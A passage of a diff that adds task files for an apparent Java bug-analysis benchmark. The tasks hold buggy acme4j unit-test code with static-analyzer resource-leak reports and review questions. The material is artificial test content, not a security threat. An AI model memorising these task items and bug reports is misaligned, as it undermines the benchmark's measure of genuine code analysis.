+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8168/instruction.md b/inferredbugs-8168/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..aff02aef072d98cc60be9a6656de6a03913ac9d4
--- /dev/null
+++ b/inferredbugs-8168/instruction.md
@@ -0,0 +1,509 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** acme4j
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * acme4j - Java ACME client
+ *
+ * Copyright (C) 2015 Richard "Shred" Körber
+ *   http://acme4j.shredzone.org
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ */
+package org.shredzone.acme4j.impl;
+
+import static org.hamcrest.Matchers.*;
+import static org.junit.Assert.*;
+import static org.shredzone.acme4j.util.TestUtils.*;
+import static uk.co.datumedge.hamcrest.json.SameJSONAs.sameJSONAs;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.security.cert.X509Certificate;
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.shredzone.acme4j.Account;
+import org.shredzone.acme4j.Authorization;
+import org.shredzone.acme4j.Registration;
+import org.shredzone.acme4j.challenge.Challenge;
+import org.shredzone.acme4j.challenge.Challenge.Status;
+import org.shredzone.acme4j.challenge.DnsChallenge;
+import org.shredzone.acme4j.challenge.GenericChallenge;
+import org.shredzone.acme4j.challenge.HttpChallenge;
+import org.shredzone.acme4j.connector.Connection;
+import org.shredzone.acme4j.connector.Resource;
+import org.shredzone.acme4j.connector.Session;
+import org.shredzone.acme4j.exception.AcmeException;
+import org.shredzone.acme4j.util.ClaimBuilder;
+import org.shredzone.acme4j.util.TestUtils;
+
+/**
+ * Unit tests for {@link AbstractAcmeClient}.
+ *
+ * @author Richard "Shred" Körber
+ */
+public class AbstractAcmeClientTest {
+
+    private Account testAccount;
+    private URI resourceUri;
+    private URI locationUri;
+    private URI agreementUri;
+
+    @Before
+    public void setup() throws IOException, URISyntaxException {
+        resourceUri = new URI("https://example.com/acme/some-resource");
+        locationUri = new URI("https://example.com/acme/some-location");
+        agreementUri = new URI("http://example.com/agreement.pdf");
+        testAccount = new Account(TestUtils.createKeyPair());
+    }
+
+    /**
+     * Test that a new {@link Registration} can be registered.
+     */
+    @Test
+    public void testNewRegistration() throws AcmeException {
+        Registration registration = new Registration();
+        registration.addContact("mailto:foo@example.com");
+
+        Connection connection = new DummyConnection() {
+            @Override
+            public int sendSignedRequest(URI uri, ClaimBuilder claims, Session session, Account account) throws AcmeException {
+                assertThat(uri, is(resourceUri));
+                assertThat(claims.toString(), sameJSONAs(getJson("newRegistration")));
+                assertThat(session, is(notNullValue()));
+                assertThat(account, is(sameInstance(testAccount)));
+                return HttpURLConnection.HTTP_CREATED;
+            }
+
+            @Override
+            public URI getLocation() throws AcmeException {
+                return locationUri;
+            }
+
+            @Override
+            public URI getLink(String relation) throws AcmeException {
+                switch(relation) {
+                    case "terms-of-service": return agreementUri;
+                    default: return null;
+                }
+            }
+        };
+
+        TestableAbstractAcmeClient client = new TestableAbstractAcmeClient(connection);
+        client.putTestResource(Resource.NEW_REG, resourceUri);
+
+        client.newRegistration(testAccount, registration);
+
+        assertThat(registration.getLocation(), is(locationUri));
+        assertThat(registration.getAgreement(), is(agreementUri));
+    }
+
+    /**
+     * Test that a {@link Registration} can be modified.
+     */
+    @Test
+    public void testModifyRegistration() throws AcmeException {
+        Registration registration = new Registration();
+        registration.setAgreement(agreementUri);
+        registration.addContact("mailto:foo2@example.com");
+        registration.setLocation(locationUri);
+
+        Connection connection = new DummyConnection() {
+            @Override
+            public int sendSignedRequest(URI uri, ClaimBuilder claims, Session session, Account account) throws AcmeException {
+                assertThat(uri, is(locationUri));
+                assertThat(claims.toString(), sameJSONAs(getJson("modifyRegistration")));
+                assertThat(session, is(notNullValue()));
+                assertThat(account, is(sameInstance(testAccount)));
+                return HttpURLConnection.HTTP_ACCEPTED;
+            }
+
+            @Override
+            public URI getLocation() throws AcmeException {
+                return locationUri;
+            }
+
+            @Override
+            public URI getLink(String relation) throws AcmeException {
+                switch(relation) {
+                    case "terms-of-service": return agreementUri;
+                    default: return null;
+                }
+            }
+        };
+
+        TestableAbstractAcmeClient client = new TestableAbstractAcmeClient(connection);
+
+        client.modifyRegistration(testAccount, registration);
+
+        assertThat(registration.getLocation(), is(locationUri));
+        assertThat(registration.getAgreement(), is(agreementUri));
+    }
+
+    /**
+     * Test that a new {@link Authorization} can be created.
+     */
+    @Test
+    public void testNewAuthorization() throws AcmeException {
+        Authorization auth = new Authorization();
+        auth.setDomain("example.org");
+
+        Connection connection = new DummyConnection() {
+            @Override
+            public int sendSignedRequest(URI uri, ClaimBuilder claims, Session session, Account account) throws AcmeException {
+                assertThat(uri, is(resourceUri));
+                assertThat(claims.toString(), sameJSONAs(getJson("newAuthorizationRequest")));
+                assertThat(session, is(notNullValue()));
+                assertThat(account, is(sameInstance(testAccount)));
+                return HttpURLConnection.HTTP_CREATED;
+            }
+
+            @Override
+            public Map<String, Object> readJsonResponse() throws AcmeException {
+                return getJsonAsMap("newAuthorizationResponse");
+            }
+        };
+
+        HttpChallenge httpChallenge = new HttpChallenge();
+        DnsChallenge dnsChallenge = new DnsChallenge();
+
+        TestableAbstractAcmeClient client = new TestableAbstractAcmeClient(connection);
+        client.putTestResource(Resource.NEW_AUTHZ, resourceUri);
+        client.putTestChallenge("http-01", httpChallenge);
+        client.putTestChallenge("dns-01", dnsChallenge);
+
+        client.newAuthorization(testAccount, auth);
+
+        assertThat(auth.getDomain(), is("example.org"));
+        assertThat(auth.getStatus(), is("pending"));
+        assertThat(auth.getExpires(), is(nullValue()));
+
+        assertThat(auth.getChallenges(), containsInAnyOrder(
+                        (Challenge) httpChallenge, (Challenge) dnsChallenge));
+
+        assertThat(auth.getCombinations(), hasSize(2));
+        assertThat(auth.getCombinations().get(0), containsInAnyOrder(
+                        (Challenge) httpChallenge));
+        assertThat(auth.getCombinations().get(1), containsInAnyOrder(
+                        (Challenge) httpChallenge, (Challenge) dnsChallenge));
+    }
+
+    /**
+     * Test that a {@link Challenge} can be triggered.
+     */
+    @Test
+    public void testTriggerChallenge() throws AcmeException {
+        Connection connection = new DummyConnection() {
+            @Override
+            public int sendSignedRequest(URI uri, ClaimBuilder claims, Session session, Account account) throws AcmeException {
+                assertThat(uri, is(resourceUri));
+                assertThat(claims.toString(), sameJSONAs(getJson("triggerHttpChallengeRequest")));
+                assertThat(session, is(notNullValue()));
+                assertThat(account, is(sameInstance(testAccount)));
+                return HttpURLConnection.HTTP_ACCEPTED;
+            }
+
+            @Override
+            public Map<String, Object> readJsonResponse() throws AcmeException {
+                return getJsonAsMap("triggerHttpChallengeResponse");
+            }
+        };
+
+        TestableAbstractAcmeClient client = new TestableAbstractAcmeClient(connection);
+
+        Challenge challenge = new HttpChallenge();
+        challenge.unmarshall(getJsonAsMap("triggerHttpChallenge"));
+        challenge.authorize(testAccount);
+
+        client.triggerChallenge(testAccount, challenge);
+
+        assertThat(challenge.getStatus(), is(Status.PENDING));
+        assertThat(challenge.getLocation(), is(locationUri));
+    }
+
+    /**
+     * Test that a {@link Challenge} is properly updated.
+     */
+    @Test
+    public void testUpdateChallenge() throws AcmeException {
+        Connection connection = new DummyConnection() {
+            @Override
+            public int sendRequest(URI uri) throws AcmeException {
+                assertThat(uri, is(locationUri));
+                return HttpURLConnection.HTTP_ACCEPTED;
+            }
+
+            @Override
+            public Map<String, Object> readJsonResponse() throws AcmeException {
+                return getJsonAsMap("updateHttpChallengeResponse");
+            }
+        };
+
+        TestableAbstractAcmeClient client = new TestableAbstractAcmeClient(connection);
+
+        Challenge challenge = new HttpChallenge();
+        challenge.unmarshall(getJsonAsMap("triggerHttpChallengeResponse"));
+
+        client.updateChallenge(challenge);
+
+        assertThat(challenge.getStatus(), is(Status.VALID));
+        assertThat(challenge.getLocation(), is(locationUri));
+    }
+
+    @Test
+    public void testRestoreChallenge() throws AcmeException {
+        Connection connection = new DummyConnection() {
+            @Override
+            public int sendRequest(URI uri) throws AcmeException {
+                assertThat(uri, is(locationUri));
+                return HttpURLConnection.HTTP_ACCEPTED;
+            }
+
+            @Override
+            public Map<String, Object> readJsonResponse() throws AcmeException {
+                return getJsonAsMap("updateHttpChallengeResponse");
+            }
+        };
+
+        TestableAbstractAcmeClient client = new TestableAbstractAcmeClient(connection);
+        client.putTestChallenge(HttpChallenge.TYPE, new HttpChallenge());
+
+        Challenge challenge = client.restoreChallenge(locationUri);
+
+        assertThat(challenge.getStatus(), is(Status.VALID));
+        assertThat(challenge.getLocation(), is(locationUri));
+    }
+
+    /**
+     * Test that a certificate can be requested.
+     */
+    @Test
+    public void testRequestCertificate() throws AcmeException, IOException {
+        Connection connection = new DummyConnection() {
+            @Override
+            public int sendSignedRequest(URI uri, ClaimBuilder claims, Session session, Account account) throws AcmeException {
+                assertThat(uri, is(resourceUri));
+                assertThat(claims.toString(), sameJSONAs(getJson("requestCertificateRequest")));
+                assertThat(session, is(notNullValue()));
+                assertThat(account, is(sameInstance(testAccount)));
+                return HttpURLConnection.HTTP_CREATED;
+            }
+
+            @Override
+            public URI getLocation() throws AcmeException {
+                return locationUri;
+            }
+        };
+
+        TestableAbstractAcmeClient client = new TestableAbstractAcmeClient(connection);
+        client.putTestResource(Resource.NEW_CERT, resourceUri);
+
+        byte[] csr = TestUtils.getResourceAsByteArray("/csr.der");
+        URI certUri = client.requestCertificate(testAccount, csr);
+
+        assertThat(certUri, is(locationUri));
+    }
+
+    /**
+     * Test that a certificate can be downloaded.
+     */
+    @Test
+    public void testDownloadCertificate() throws AcmeException, IOException {
+        final X509Certificate originalCert = TestUtils.createCertificate();
+
+        Connection connection = new DummyConnection() {
+            @Override
+            public int sendRequest(URI uri) throws AcmeException {
+                assertThat(uri, is(locationUri));
+                return HttpURLConnection.HTTP_OK;
+            }
+
+            @Override
+            public X509Certificate readCertificate() throws AcmeException {
+                return originalCert;
+            }
+        };
+
+        TestableAbstractAcmeClient client = new TestableAbstractAcmeClient(connection);
+
+        X509Certificate downloadedCert = client.downloadCertificate(locationUri);
+        assertThat(downloadedCert, is(sameInstance(originalCert)));
+    }
+
+    /**
+     * Test that a certificate can be revoked.
+     */
+    @Test
+    public void testRevokeCertificate() throws AcmeException, IOException {
+        final X509Certificate cert = TestUtils.createCertificate();
+
+        Connection connection = new DummyConnection() {
+            @Override
+            public int sendSignedRequest(URI uri, ClaimBuilder claims, Session session, Account account) throws AcmeException {
+                assertThat(uri, is(resourceUri));
+                assertThat(claims.toString(), sameJSONAs(getJson("revokeCertificateRequest")));
+                assertThat(session, is(notNullValue()));
+                assertThat(account, is(sameInstance(testAccount)));
+                return HttpURLConnection.HTTP_OK;
+            }
+        };
+
+        TestableAbstractAcmeClient client = new TestableAbstractAcmeClient(connection);
+        client.putTestResource(Resource.REVOKE_CERT, resourceUri);
+
+        client.revokeCertificate(testAccount, cert);
+    }
+
+    /**
+     * Extends the {@link AbstractAcmeClient} to be tested, and implements the abstract
+     * methods with a simple implementation specially made for testing purposes.
+     */
+    public static class TestableAbstractAcmeClient extends AbstractAcmeClient {
+        private final Map<Resource, URI> resourceMap = new HashMap<>();
+        private final Map<String, Challenge> challengeMap = new HashMap<>();
+        private final Connection connection;
+        private boolean connected = false;
+
+        public TestableAbstractAcmeClient(Connection connection) {
+            this.connection = connection;
+        }
+
+        /**
+         * Register a {@link Resource} mapping.
+         *
+         * @param r
+         *            {@link Resource} to be mapped
+         * @param u
+         *            {@link URI} to be returned
+         */
+        public void putTestResource(Resource r, URI u) {
+            resourceMap.put(r, u);
+        }
+
+        /**
+         * Register a {@link Challenge}. For the sake of simplicity,
+         * {@link #createChallenge(String)} will always return the same {@link Challenge}
+         * instance in this test suite.
+         *
+         * @param s
+         *            Challenge type
+         * @param c
+         *            {@link Challenge} instance.
+         */
+        public void putTestChallenge(String s, Challenge c) {
+            challengeMap.put(s, c);
+        }
+
+        @Override
+        protected URI resourceUri(Resource resource) throws AcmeException {
+            if (resourceMap.isEmpty()) {
+                fail("Unexpected invocation of resourceUri()");
+            }
+            URI resUri = resourceMap.get(resource);
+            if (resUri == null) {
+                fail("Unexpected invocation of resourceUri() with resource " + resource.name());
+            }
+            return resUri;
+        }
+
+        @Override
+        protected Challenge createChallenge(String type) {
+            if (challengeMap.isEmpty()) {
+                fail("Unexpected invocation of createChallenge()");
+            }
+            Challenge challenge = challengeMap.get(type);
+            return (challenge != null ? challenge : new GenericChallenge());
+        }
+
+        @Override
+        protected Connection createConnection() {
+            if (connected) {
+                fail("createConnection() invoked twice");
+            }
+            connected = true;
+            return connection;
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.shredzone.acme4j.impl.AbstractAcmeClientTest$3` acquired by call to `AbstractAcmeClientTest$3(...)` at line 157 is not released after line 181.
+**Note**: potential exception at line 181
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AbstractAcmeClientTest.testNewAuthorization()
+
+### Procedure Id:
+org.shredzone.acme4j.impl.AbstractAcmeClientTest.testNewAuthorization():void.86bf8fbeda0c153cd6690800edf9878a
+
+### File:
+acme4j-client/src/test/java/org/shredzone/acme4j/impl/AbstractAcmeClientTest.java
+
+### Key:
+AbstractAcmeClientTest.java|testNewAuthorization|RESOURCE_LEAK
+
+### Node Key:
+93b1bf656f2416dde9dc4ae2fb47c678
+
+### Hash:
+6fb965f471eb317f5c6de9235869a276
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8169/instruction.md b/inferredbugs-8169/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..69635fc084ef0831c70c7f3bef91aad39c2fedbb
--- /dev/null
+++ b/inferredbugs-8169/instruction.md
@@ -0,0 +1,575 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** acme4j
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * acme4j - Java ACME client
+ *
+ * Copyright (C) 2015 Richard "Shred" Körber
+ *   http://acme4j.shredzone.org
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ */
+package org.shredzone.acme4j;
+
+import static org.hamcrest.Matchers.*;
+import static org.junit.Assert.*;
+import static org.shredzone.acme4j.util.AcmeUtils.parseTimestamp;
+import static org.shredzone.acme4j.util.TestUtils.*;
+import static uk.co.datumedge.hamcrest.json.SameJSONAs.sameJSONAs;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.URL;
+import java.security.KeyPair;
+import java.time.Instant;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+import org.jose4j.jws.JsonWebSignature;
+import org.jose4j.jwx.CompactSerializer;
+import org.jose4j.lang.JoseException;
+import org.junit.Test;
+import org.shredzone.acme4j.Registration.EditableRegistration;
+import org.shredzone.acme4j.challenge.Challenge;
+import org.shredzone.acme4j.challenge.Dns01Challenge;
+import org.shredzone.acme4j.challenge.Http01Challenge;
+import org.shredzone.acme4j.connector.Resource;
+import org.shredzone.acme4j.exception.AcmeException;
+import org.shredzone.acme4j.provider.AcmeProvider;
+import org.shredzone.acme4j.provider.TestableConnectionProvider;
+import org.shredzone.acme4j.util.JSON;
+import org.shredzone.acme4j.util.JSONBuilder;
+import org.shredzone.acme4j.util.TestUtils;
+
+/**
+ * Unit tests for {@link Registration}.
+ */
+public class RegistrationTest {
+
+    private URL resourceUrl  = url("http://example.com/acme/resource");
+    private URL locationUrl  = url("http://example.com/acme/registration");
+    private URI agreementUri = URI.create("http://example.com/agreement.pdf");
+
+    /**
+     * Test that a registration can be updated.
+     */
+    @Test
+    public void testUpdateRegistration() throws AcmeException, IOException, URISyntaxException {
+        TestableConnectionProvider provider = new TestableConnectionProvider() {
+            private JSON jsonResponse;
+            private Integer response;
+
+            @Override
+            public void sendSignedRequest(URL url, JSONBuilder claims, Session session) {
+                assertThat(url, is(locationUrl));
+                assertThat(claims.toString(), sameJSONAs(getJSON("updateRegistration").toString()));
+                assertThat(session, is(notNullValue()));
+                jsonResponse = getJSON("updateRegistrationResponse");
+                response = HttpURLConnection.HTTP_ACCEPTED;
+            }
+
+            @Override
+            public void sendRequest(URL url, Session session) {
+                if (url("https://example.com/acme/acct/1/orders").equals(url)) {
+                    jsonResponse = new JSONBuilder()
+                                .array("orders", "https://example.com/acme/order/1")
+                                .toJSON();
+                    response = HttpURLConnection.HTTP_OK;
+                    return;
+                }
+
+                response = HttpURLConnection.HTTP_NOT_FOUND;
+            }
+
+            @Override
+            public int accept(int... httpStatus) throws AcmeException {
+                assertThat(response, not(nullValue()));
+                return response;
+            }
+
+            @Override
+            public JSON readJsonResponse() {
+                return jsonResponse;
+            }
+
+            @Override
+            public URL getLocation() {
+                return locationUrl;
+            }
+
+            @Override
+            public URL getLink(String relation) {
+                return null;
+            }
+
+            @Override
+            public Collection<URI> getLinks(String relation) {
+                switch(relation) {
+                    case "terms-of-service": return Arrays.asList(agreementUri);
+                    default: return null;
+                }
+            }
+        };
+
+        Session session = provider.createSession();
+        Registration registration = new Registration(session, locationUrl);
+        registration.update();
+
+        assertThat(session.getKeyIdentifier(), is(locationUrl.toString()));
+        assertThat(registration.getLocation(), is(locationUrl));
+        assertThat(registration.getTermsOfServiceAgreed(), is(true));
+        assertThat(registration.getContacts(), hasSize(1));
+        assertThat(registration.getContacts().get(0), is(URI.create("mailto:foo2@example.com")));
+        assertThat(registration.getStatus(), is(Status.VALID));
+
+        Iterator<Order> orderIt = registration.getOrders();
+        assertThat(orderIt, not(nullValue()));
+        assertThat(orderIt.next().getLocation(), is(url("https://example.com/acme/order/1")));
+        assertThat(orderIt.hasNext(), is(false));
+
+        provider.close();
+    }
+
+    /**
+     * Test lazy loading.
+     */
+    @Test
+    public void testLazyLoading() throws AcmeException, IOException {
+        final AtomicBoolean requestWasSent = new AtomicBoolean(false);
+
+        TestableConnectionProvider provider = new TestableConnectionProvider() {
+            @Override
+            public void sendSignedRequest(URL url, JSONBuilder claims, Session session) {
+                requestWasSent.set(true);
+                assertThat(url, is(locationUrl));
+            }
+
+            @Override
+            public int accept(int... httpStatus) throws AcmeException {
+                assertThat(httpStatus, isIntArrayContainingInAnyOrder(
+                        HttpURLConnection.HTTP_CREATED, HttpURLConnection.HTTP_ACCEPTED));
+                return HttpURLConnection.HTTP_ACCEPTED;
+            }
+
+            @Override
+            public JSON readJsonResponse() {
+                return getJSON("updateRegistrationResponse");
+            }
+
+            @Override
+            public URL getLocation() {
+                return locationUrl;
+            }
+
+            @Override
+            public URL getLink(String relation) {
+                return null;
+            }
+
+            @Override
+            public Collection<URI> getLinks(String relation) {
+                switch(relation) {
+                    case "terms-of-service": return Arrays.asList(agreementUri);
+                    default: return null;
+                }
+            }
+        };
+
+        Registration registration = new Registration(provider.createSession(), locationUrl);
+
+        // Lazy loading
+        assertThat(requestWasSent.get(), is(false));
+        assertThat(registration.getTermsOfServiceAgreed(), is(true));
+        assertThat(requestWasSent.get(), is(true));
+
+        // Subsequent queries do not trigger another load
+        requestWasSent.set(false);
+        assertThat(registration.getTermsOfServiceAgreed(), is(true));
+        assertThat(registration.getStatus(), is(Status.VALID));
+        assertThat(requestWasSent.get(), is(false));
+
+        provider.close();
+    }
+
+    /**
+     * Test that a new {@link Authorization} can be created.
+     */
+    @Test
+    public void testOrderCertificate() throws Exception {
+        byte[] csr = TestUtils.getResourceAsByteArray("/csr.der");
+        Instant notBefore = parseTimestamp("2016-01-01T00:00:00Z");
+        Instant notAfter = parseTimestamp("2016-01-08T00:00:00Z");
+
+        TestableConnectionProvider provider = new TestableConnectionProvider() {
+            @Override
+            public void sendSignedRequest(URL url, JSONBuilder claims, Session session) {
+                assertThat(url, is(resourceUrl));
+                assertThat(claims.toString(), sameJSONAs(getJSON("requestOrderRequest").toString()));
+                assertThat(session, is(notNullValue()));
+            }
+
+            @Override
+            public int accept(int... httpStatus) throws AcmeException {
+                assertThat(httpStatus, isIntArrayContainingInAnyOrder(HttpURLConnection.HTTP_CREATED));
+                return HttpURLConnection.HTTP_CREATED;
+            }
+
+            @Override
+            public JSON readJsonResponse() {
+                return getJSON("requestOrderResponse");
+            }
+
+            @Override
+            public URL getLocation() {
+                return locationUrl;
+            }
+        };
+
+        Session session = provider.createSession();
+
+        provider.putTestResource(Resource.NEW_ORDER, resourceUrl);
+
+        Registration registration = new Registration(session, locationUrl);
+        Order order = registration.orderCertificate(csr, notBefore, notAfter);
+
+        assertThat(order.getCsr(), is(csr));
+        assertThat(order.getNotBefore(), is(parseTimestamp("2016-01-01T00:10:00Z")));
+        assertThat(order.getNotAfter(), is(parseTimestamp("2016-01-08T00:10:00Z")));
+        assertThat(order.getExpires(), is(parseTimestamp("2016-01-10T00:00:00Z")));
+        assertThat(order.getStatus(), is(Status.PENDING));
+        assertThat(order.getLocation(), is(locationUrl));
+        assertThat(order.getAuthorizations(), is(notNullValue()));
+        assertThat(order.getAuthorizations().size(), is(2));
+
+        provider.close();
+    }
+
+    /**
+     * Test that a new {@link Authorization} can be created.
+     */
+    @Test
+    public void testAuthorizeDomain() throws Exception {
+        TestableConnectionProvider provider = new TestableConnectionProvider() {
+            @Override
+            public void sendSignedRequest(URL url, JSONBuilder claims, Session session) {
+                assertThat(url, is(resourceUrl));
+                assertThat(claims.toString(), sameJSONAs(getJSON("newAuthorizationRequest").toString()));
+                assertThat(session, is(notNullValue()));
+            }
+
+            @Override
+            public int accept(int... httpStatus) throws AcmeException {
+                assertThat(httpStatus, isIntArrayContainingInAnyOrder(HttpURLConnection.HTTP_CREATED));
+                return HttpURLConnection.HTTP_CREATED;
+            }
+
+            @Override
+            public JSON readJsonResponse() {
+                return getJSON("newAuthorizationResponse");
+            }
+
+            @Override
+            public URL getLocation() {
+                return locationUrl;
+            }
+        };
+
+        Session session = provider.createSession();
+
+        Http01Challenge httpChallenge = new Http01Challenge(session);
+        Dns01Challenge dnsChallenge = new Dns01Challenge(session);
+
+        provider.putTestResource(Resource.NEW_AUTHZ, resourceUrl);
+        provider.putTestChallenge(Http01Challenge.TYPE, httpChallenge);
+        provider.putTestChallenge(Dns01Challenge.TYPE, dnsChallenge);
+
+        String domainName = "example.org";
+
+        Registration registration = new Registration(session, locationUrl);
+        Authorization auth = registration.authorizeDomain(domainName);
+
+        assertThat(auth.getDomain(), is(domainName));
+        assertThat(auth.getStatus(), is(Status.PENDING));
+        assertThat(auth.getExpires(), is(nullValue()));
+        assertThat(auth.getLocation(), is(locationUrl));
+
+        assertThat(auth.getChallenges(), containsInAnyOrder(
+                        (Challenge) httpChallenge, (Challenge) dnsChallenge));
+
+        provider.close();
+    }
+
+    /**
+     * Test that a bad domain parameter is not accepted.
+     */
+    @Test
+    public void testAuthorizeBadDomain() throws Exception {
+        TestableConnectionProvider provider = new TestableConnectionProvider();
+        Session session = provider.createSession();
+        Registration registration = Registration.bind(session, locationUrl);
+
+        try {
+            registration.authorizeDomain(null);
+            fail("null domain was accepted");
+        } catch (NullPointerException ex) {
+            // expected
+        }
+
+        try {
+            registration.authorizeDomain("");
+            fail("empty domain string was accepted");
+        } catch (IllegalArgumentException ex) {
+            // expected
+        }
+
+        provider.close();
+    }
+
+    /**
+     * Test that the account key can be changed.
+     */
+    @Test
+    public void testChangeKey() throws Exception {
+        final KeyPair oldKeyPair = TestUtils.createKeyPair();
+        final KeyPair newKeyPair = TestUtils.createDomainKeyPair();
+
+        final TestableConnectionProvider provider = new TestableConnectionProvider() {
+            @Override
+            public void sendSignedRequest(URL url, JSONBuilder payload, Session session) {
+                try {
+                    assertThat(url, is(locationUrl));
+                    assertThat(session, is(notNullValue()));
+                    assertThat(session.getKeyPair(), is(sameInstance(oldKeyPair)));
+
+                    JSON json = payload.toJSON();
+                    String encodedHeader = json.get("protected").asString();
+                    String encodedSignature = json.get("signature").asString();
+                    String encodedPayload = json.get("payload").asString();
+
+                    String serialized = CompactSerializer.serialize(encodedHeader, encodedPayload, encodedSignature);
+                    JsonWebSignature jws = new JsonWebSignature();
+                    jws.setCompactSerialization(serialized);
+                    jws.setKey(newKeyPair.getPublic());
+                    assertThat(jws.verifySignature(), is(true));
+
+                    String decodedPayload = jws.getPayload();
+
+                    StringBuilder expectedPayload = new StringBuilder();
+                    expectedPayload.append('{');
+                    expectedPayload.append("\"account\":\"").append(resourceUrl).append("\",");
+                    expectedPayload.append("\"newKey\":{");
+                    expectedPayload.append("\"kty\":\"").append(TestUtils.D_KTY).append("\",");
+                    expectedPayload.append("\"e\":\"").append(TestUtils.D_E).append("\",");
+                    expectedPayload.append("\"n\":\"").append(TestUtils.D_N).append("\"");
+                    expectedPayload.append("}}");
+                    assertThat(decodedPayload, sameJSONAs(expectedPayload.toString()));
+                } catch (JoseException ex) {
+                    fail("decoding inner payload failed");
+                }
+            }
+
+            @Override
+            public int accept(int... httpStatus) throws AcmeException {
+                assertThat(httpStatus, isIntArrayContainingInAnyOrder(HttpURLConnection.HTTP_OK));
+                return HttpURLConnection.HTTP_OK;
+            }
+
+            @Override
+            public URL getLocation() {
+                return resourceUrl;
+            }
+        };
+
+        provider.putTestResource(Resource.KEY_CHANGE, locationUrl);
+
+        Session session = new Session(new URI(TestUtils.ACME_SERVER_URI), oldKeyPair) {
+            @Override
+            public AcmeProvider provider() {
+                return provider;
+            };
+        };
+
+        assertThat(session.getKeyPair(), is(sameInstance(oldKeyPair)));
+
+        Registration registration = new Registration(session, resourceUrl);
+        registration.changeKey(newKeyPair);
+
+        assertThat(session.getKeyPair(), is(sameInstance(newKeyPair)));
+    }
+
+    /**
+     * Test that the same account key is not accepted for change.
+     */
+    @Test(expected = IllegalArgumentException.class)
+    public void testChangeSameKey() throws Exception {
+        TestableConnectionProvider provider = new TestableConnectionProvider();
+        Session session = provider.createSession();
+
+        Registration registration = new Registration(session, locationUrl);
+        registration.changeKey(session.getKeyPair());
+
+        provider.close();
+    }
+
+    /**
+     * Test that a registration can be deactivated.
+     */
+    @Test
+    public void testDeactivate() throws Exception {
+        TestableConnectionProvider provider = new TestableConnectionProvider() {
+            @Override
+            public void sendSignedRequest(URL url, JSONBuilder claims, Session session) {
+                JSON json = claims.toJSON();
+                assertThat(json.get("status").asString(), is("deactivated"));
+                assertThat(url, is(locationUrl));
+                assertThat(session, is(notNullValue()));
+            }
+
+            @Override
+            public int accept(int... httpStatus) throws AcmeException {
+                assertThat(httpStatus, isIntArrayContainingInAnyOrder(HttpURLConnection.HTTP_OK));
+                return HttpURLConnection.HTTP_OK;
+            }
+
+            @Override
+            public JSON readJsonResponse() {
+                return getJSON("deactivateRegistrationResponse");
+            }
+        };
+
+        Registration registration = new Registration(provider.createSession(), locationUrl);
+        registration.deactivate();
+
+        assertThat(registration.getStatus(), is(Status.DEACTIVATED));
+
+        provider.close();
+    }
+
+    /**
+     * Test that a registration can be modified.
+     */
+    @Test
+    public void testModify() throws Exception {
+        TestableConnectionProvider provider = new TestableConnectionProvider() {
+            @Override
+            public void sendSignedRequest(URL url, JSONBuilder claims, Session session) {
+                assertThat(url, is(locationUrl));
+                assertThat(claims.toString(), sameJSONAs(getJSON("modifyRegistration").toString()));
+                assertThat(session, is(notNullValue()));
+            }
+
+            @Override
+            public int accept(int... httpStatus) throws AcmeException {
+                assertThat(httpStatus, isIntArrayContainingInAnyOrder(HttpURLConnection.HTTP_ACCEPTED));
+                return HttpURLConnection.HTTP_ACCEPTED;
+            }
+
+            @Override
+            public JSON readJsonResponse() {
+                return getJSON("modifyRegistrationResponse");
+            }
+
+            @Override
+            public URL getLocation() {
+                return locationUrl;
+            }
+        };
+
+        Registration registration = new Registration(provider.createSession(), locationUrl);
+
+        EditableRegistration editable = registration.modify();
+        assertThat(editable, notNullValue());
+
+        editable.addContact("mailto:foo2@example.com");
+        editable.getContacts().add(URI.create("mailto:foo3@example.com"));
+        editable.commit();
+
